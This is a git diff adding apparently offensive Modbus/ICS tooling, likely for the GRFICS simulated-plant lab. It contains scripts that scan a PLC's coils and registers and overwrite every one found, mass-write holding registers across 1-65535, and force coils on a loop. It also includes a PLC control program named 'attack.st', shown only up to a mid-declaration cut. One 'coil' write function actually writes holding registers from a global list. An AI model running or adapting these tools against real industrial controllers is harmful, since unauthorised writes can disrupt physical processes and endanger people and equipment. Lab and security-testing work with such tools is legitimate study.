+from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + 